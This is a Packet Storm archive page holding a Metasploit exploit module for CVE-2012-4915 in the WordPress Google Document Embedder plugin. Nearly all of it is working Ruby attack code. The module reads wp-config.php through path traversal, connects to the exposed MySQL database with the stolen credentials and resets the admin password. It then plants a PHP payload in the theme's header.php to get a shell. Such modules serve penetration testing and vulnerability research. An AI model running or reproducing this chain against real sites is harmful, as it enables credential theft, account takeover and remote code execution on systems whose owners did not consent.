Lucene search

K
packetstormCharlie EriksenPACKETSTORM:119329
HistoryJan 08, 2013 - 12:00 a.m.

WordPress Google Document Embedder Arbitrary File Disclosure

2013-01-0800:00:00
Charlie Eriksen
packetstormsecurity.com
20

0.911 High

EPSS

Percentile

98.9%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rbmysql'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',  
'Description' => %q{  
This module exploits an arbitrary file disclosure flaw in the WordPress  
blogging software plugin known as Google Document Embedder. The vulnerability allows for  
database credential disclosure via the /libs/pdf.php script. The Google Document Embedder  
plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL  
server is exposed on a accessible IP and Wordpress has filesystem write access.  
  
Please note: The admin password may get changed if the exploit does not run to the end.  
},  
'Author' =>  
[  
'Charlie Eriksen',  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2012-4915'],  
['OSVDB', '88891'],  
['URL', 'http://secunia.com/advisories/50832'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'ConnectionType' => 'find',  
},  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Jan 03 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),  
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),  
OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),  
OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])  
], self.class)  
end  
  
def check  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
plugins_uri = String.new(uri)  
plugins_uri << datastore['PLUGINSPATH']  
plugins_uri << '/' if plugins_uri[-1,1] != '/'  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",  
})  
  
if res and res.code == 200  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
plugins_uri = String.new(uri)  
plugins_uri << datastore['PLUGINSPATH']  
plugins_uri << '/' if plugins_uri[-1,1] != '/'  
admin_uri = String.new(uri)  
admin_uri << datastore['ADMINPATH']  
admin_uri << '/' if plugins_uri[-1,1] != '/'  
themes_uri = String.new(uri)  
themes_uri << datastore['THEMESPATH']  
themes_uri << '/' if plugins_uri[-1,1] != '/'  
  
print_status('Fetching wp-config.php')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",  
'vars_get' =>  
{  
'fn' => "#{rand_text_alphanumeric(4)}.pdf",  
'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",  
}  
})  
  
if res and res.body =~ /allow_url_fopen/  
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')  
elsif res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
  
config = parse_wp_config(res.body)  
if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }  
fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")  
end  
begin  
@mysql_handle = ::RbMysql.connect({  
:host => config['DB_HOST'],  
:port => config['DB_PORT'],  
:read_timeout => 300,  
:write_timeout => 300,  
:socket => nil,  
:user => config['DB_USER'],  
:password => config['DB_PASSWORD'],  
:db => config['DB_NAME']  
})  
rescue Errno::ECONNREFUSED,  
RbMysql::ClientError,  
Errno::ETIMEDOUT,  
RbMysql::AccessDeniedError,  
RbMysql::HostNotPrivileged  
fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')  
end  
res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U  
INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")  
  
if res.nil? or res.size <= 0  
fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')  
end  
  
user = res.first  
  
new_password = rand_text_alphanumeric(8)  
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")  
print_warning("Admin password changed to: #{new_password}")  
  
admin_cookie = get_wp_cookie(uri, user[0], new_password)  
  
theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)  
  
print_warning("Editing theme #{theme}")  
set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)  
  
print_status("Calling backdoor")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{themes_uri}#{theme}/header.php",  
})  
  
if res and res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
  
set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)  
  
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")  
  
print_status("Shell should have been acquired. Disabled backdoor")  
end  
  
def parse_wp_config(body)  
p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")  
print_status("wp-config.php saved in: #{p}")  
print_status("Parsing config file")  
values = {}  
  
body.each_line do |line|  
if line =~ /define/  
key_pair = line.scan(/('|")([^'"]*)('|")/)  
if key_pair.length == 2  
values[key_pair[0][1]] = key_pair[1][1]  
end  
elsif line =~ /table_prefix/  
table_prefix = line.scan(/('|")([^'"]*)('|")/)  
values['DB_PREFIX'] = table_prefix[0][1]  
end  
end  
#Extract the port from DB_HOST and normalize DB_HOST  
values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306  
  
if values['DB_HOST'] =~ /(localhost|127.0.0.1)/  
print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")  
values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])  
end  
  
return values  
end  
  
def get_wp_cookie(uri, username, password)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}wp-login.php",  
'cookie' => 'wordpress_test_cookie=WP+Cookie+check',  
'vars_post' =>  
{  
'log' => username,  
'pwd' => password,  
'wp-submit' => 'Log+In',  
'testcookie' => '1',  
},  
})  
  
if res and res.code == 200  
fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')  
elsif res and res.code != 302  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
  
admin_cookie = ''  
(res.headers['Set-Cookie'] || '').split(',').each do |cookie|  
admin_cookie << cookie.split(';')[0]  
admin_cookie << ';'  
end  
  
if admin_cookie.empty?  
fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')  
end  
  
return admin_cookie  
end  
  
def get_wp_theme(admin_uri, admin_cookie)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{admin_uri}theme-editor.php?file=header.php",  
'cookie' => admin_cookie,  
})  
  
if res and res.code != 200  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0  
fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')  
end  
  
nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s  
old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))  
theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s  
  
return [theme, nonce, old_content]  
end  
  
def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{admin_uri}theme-editor.php?",  
'cookie' => admin_cookie,  
'vars_post' =>  
{  
'_wpnonce' => nonce,  
'theme' => theme,  
'newcontent' => new_content,  
'action' => 'update',  
'file' => 'header.php'  
},  
})  
  
if res and res.code != 302  
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  
end  
end  
  
end  
  
`

0.911 High

EPSS

Percentile

98.9%